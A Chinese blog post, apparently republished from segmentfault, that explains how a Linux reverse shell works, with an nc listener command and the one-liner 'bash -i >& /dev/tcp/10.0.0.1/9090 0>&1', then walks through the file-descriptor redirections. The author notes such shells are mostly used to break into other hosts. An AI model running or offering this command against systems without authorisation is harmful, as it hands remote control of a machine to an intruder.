关于Linux的反弹shell命令的解析

系统 Linux
今天在看spark stream的sample样例的时候看到linux的万金油命令nc。搜索相关的内容突然发现一个很好玩的用处就是反弹shell.下面我们就来讲讲反弹shell。

今天在看spark stream的sample样例的时候看到linux的万金油命令nc。搜索相关的内容突然发现一个很好玩的用处就是反弹shell.下面我们就来讲讲反弹shell

1. 什么是反弹shell

简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。

2. 反弹shell的用途

这个反弹shell大部分用途是用来侵入别人的主机。就是因为感觉很厉害的样子,所以才来研究这家伙

3. 反弹shell操作步骤

3.1. 在本机开启端口9090

  1. nc -lk 9090 

3.2. 在需要被控制的机器上执行如下两种命令中的一种即可

  1. bash -i >& /dev/tcp/10.0.0.1/9090 0>&1 

3.3. 在本机刚才执行nc -lk 9090命令行下面输入需要被控制的主机的命令即可

 

4. 原理

  1. A主机开启9090端口的tcp服务
  2. B主机连接到A主机的9090的tcp服务
  3. A主机通过tcp服务把命令发到B主机
  4. B主机读取命令并且在bash中执行
  5. B主机把执行结果发给A主机

这样就可以在A主机中'玩弄'B主机了

下面重点来了

我们看这个操作其实还是蛮简单的,但是我们不能只局限于表面。我们需要去了解它的原理

其实nc -lk 9090命令没什么可说的,百度google一搜就出来了。我们今天要去解释的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。这条命令在google也没搜出来什么结果。所以只能自己加夜班搞了。

inux shell下常用的文件描述符是:

  1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
  2. 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
  3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

首先我们把这个命令拆解一下

  1. bash -i # 这个也不知道说啥 
  2.  
  3. >& # 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>&1` 
  4.  
  5. /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口 
  6.  
  7. 0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档  

其实前面3个命令组合在一起很好理解,就是把这个bash下的所有输出都发送到 10.0.0.1:9090。这个大家可以自己操作一下,去掉后面的 0>&1。

我们在命令里面写 2>&1都很好理解,就是把error重定向到stdout。但是0>&1好像不太好理解,我们看下文件描述符

 

这里看到的是2>&1就是把文件描述符2对应的设备改成了文件描述符1对应的设备。那么同理 0>&1就是把 0对应的设备改成的1对应的设备,那也就是socket。这就表明了 stdin就是从socket中读取数据,然后再执行命令,把bash的命令行返回内容通过stdout发到socket。

其实这些内容都可以在bash的man pages里面找到

 

文档里面写的很清楚 n<&word 是吧word复制给n, n>&word是吧word复制给n。

所以这里写 0<&1 或者是 0>&1都是可以的,只要把文件描述符1对应的设备复制给文件描述符0就可以了

参考文章 https://edu.aqniu.com/article/67 

责任编辑:庞桂玉 来源: segmentfault
相关推荐

2010-11-02 21:17:17

2009-08-07 10:18:13

Linux反弹CmdLine S技巧

2015-03-06 15:43:39

2009-07-19 10:48:53

LinuxWebShell反弹CmdLine She

2020-02-28 14:05:00

Linuxshell命令

2009-12-25 09:47:05

LinuxShell编程bash

2010-03-23 15:24:45

Linux shell

2014-07-31 11:24:21

Linuxshell命令

2011-01-18 13:53:42

Linux Shell命令

2010-05-26 18:52:28

Linux 查看性能

2019-12-01 22:59:43

Linux shell命令进程

2019-07-29 15:36:15

Linuxshell内置命令

2010-03-08 10:49:29

Linux scp命令

2009-12-18 08:57:27

Linux shell

2010-06-23 17:37:14

Linux Bash

2010-06-23 17:34:03

Linux Bash

2009-07-31 18:48:35

linux vi命令linux vi命令详替换命令

2010-06-23 16:05:36

Linux Bash

2010-07-19 13:23:03

Linux Telne

2010-06-23 17:29:07

Linux Bash
点赞
收藏

51CTO技术栈公众号